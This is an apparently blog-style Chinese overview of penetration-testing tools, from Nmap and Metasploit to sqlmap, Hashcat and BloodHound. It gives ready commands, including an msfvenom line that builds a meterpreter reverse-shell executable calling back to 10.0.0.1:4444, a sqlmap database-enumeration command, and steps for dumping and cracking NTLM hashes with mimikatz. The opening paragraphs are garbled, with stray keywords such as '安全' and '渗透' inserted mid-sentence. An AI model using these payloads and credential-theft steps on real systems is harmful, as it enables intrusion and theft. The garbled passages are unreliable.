内容摘要：Nmap 至今仍是渗透测试里最顺手的工具之一。一条 `nmap -sS -sV -p- 192.168.1.1` 下去，开放端口、服务版本、操作系统指纹全出来了。很多人只拿它扫端口，其实 NSE 脚本

Nmap 至今仍是网络渗透测试里最顺手的工具之一。一条 `nmap -sS -sV -p- 192.168.1.1` 下去，安全开放端口、渗透服务版本、工具操作系统指纹全出来了。网络很多人只拿它扫端口，安全其实 NSE 脚本引擎才是渗透隐藏杀器——`--script vuln` 能直接跑漏洞探测，省去不少手动验证的工具功夫。我见过一个老手用 Nmap 的网络 smb-enum-shares 脚本，五分钟内摸清了内网所有共享目录的安全权限配置，比写 Python 脚本快得多。渗透

Metasploit 的工具定位更像一把瑞士军刀。msfconsole 里 `search` 加 `use` 加 `set` 加 `exploit` 四步走，网络很多已知漏洞直接就能拿到 shell。安全但它真正值钱的渗透地方在 payload 生成和 handler 管理。比如 `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe` 这条命令，生成的 payload 配合 multi/handler 监听，是内网横向移动的标配。不过 Metasploit 的噪音太大，流量特征早被主流 EDR 盯死了，实战中更多用来做快速验证而非长期驻留。

Burp Suite 在 Web 渗透里的地位很难被替代。Proxy 模块拦截请求改参数是基本功，Intruder 跑爆破和 fuzzing 效率极高。去年帮朋友查一个登录接口的越权问题，用 Burp 的 Repeater 把 user_id 从 1001 改成 1002，直接看到了别人的订单数据。这种水平越权漏洞在业务系统里太常见了，手工测的话用 Burp 比写脚本灵活得多。社区版免费，Pro 版贵但公司基本都会买。

sqlmap 专治 SQL 注入。`sqlmap -u "http://target.com?id=1" --dbs` 这条命令能自动识别注入类型、跑出数据库名。它的 tamper 脚本可以绕过不少 WAF，比如 space2comment 把空格替换成注释符。但别太依赖自动化，我碰到过一个站，sqlmap 跑半天没结果，手动加个单引号报错才发现是布尔盲注，sqlmap 的 payload 被过滤了。工具是辅助，思路才是核心。

Wireshark 严格说算抓包分析工具，但渗透测试里离不了。内网嗅探、ARP 欺骗后的流量还原、分析恶意样本的 C2 通信，都得靠它。有次排查一个挖矿木马，Wireshark 抓包看到大量发往 pool.minexmr.com 的 Stratum 协议数据，直接定位了问题。过滤语法得熟，`tcp.port == 4444` 或者 `http.request.method == "POST"` 这种随手就来。

John the Ripper 和 Hashcat 是密码破解的两把刀。John 更偏向 CPU 和规则破解，Hashcat 吃 GPU 性能，跑 NTLM 或者 WPA 握手包快得离谱。拿下一台 Windows 机器后，用 mimikatz 抓出 NTLM hash，扔给 Hashcat 跑字典，弱密码几秒就出来了。字典质量比工具本身重要得多，rockyou.txt 虽然老但依然好用，配合规则引擎能覆盖不少变种。

还有几个小众但好用的。Responder 做 LLMNR/NBT-NS 欺骗，在内网里一跑，很快能拿到一堆 NetNTLMv2 hash。Empire 和 Cobalt Strike 属于后渗透框架，Cobalt Strike 的 beacon 机制做得太顺滑，但正版授权贵得吓人，黑产用破解版的多，防守方看到默认 profile 的流量基本一抓一个准。BloodHound 用图数据库分析域内权限关系，输入 SharpHound 收集的数据，几秒钟就能找到从普通用户到域管的攻击路径，直观得让人后背发凉。

工具列不完，也没必要列完。渗透测试的核心是信息收集、漏洞验证、权限提升、横向移动、痕迹清理这条链，工具只是链上的节点。新手容易陷入收集工具的怪圈，装了一堆却不知道什么时候用哪个。我的建议是先把 Nmap、Burp、Metasploit、sqlmap 这四个吃透，遇到具体场景再补对应工具。工具会过时，漏洞会修复，但渗透的思维逻辑变化很慢。